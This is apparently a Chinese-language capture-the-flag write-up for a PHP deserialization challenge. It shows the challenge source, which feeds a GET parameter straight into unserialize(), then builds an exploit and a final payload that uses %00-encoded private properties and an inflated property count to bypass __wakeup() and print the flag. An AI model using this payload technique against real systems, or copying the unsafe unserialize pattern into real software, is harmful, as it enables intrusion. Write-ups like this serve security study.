1、页面提示有备份文件,使用kali中命令dirsearch扫描
2、我的字典不够,扫不出,看了别人的扫出来是www.zip
3、访问www.zip之后会下载压缩包,里面有三个php文件
4、class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
index.php是一个网页信息,但是里面有一小段php代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
5、根据代码分析,构造exp
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$select = new Name();
$res = serialize(@$select);
echo $res;
?>
6、运行得
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
7、因为username和password为私有属性,所以需要添加%00绕过,当修改属性的个数大于真是属性是,可以绕过__wakeup()
8、最终payload
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
参考WP:
标签:username,极客,14,echo,flag,PHP,2019,password,php From: https://blog.csdn.net/2201_75556700/article/details/142133781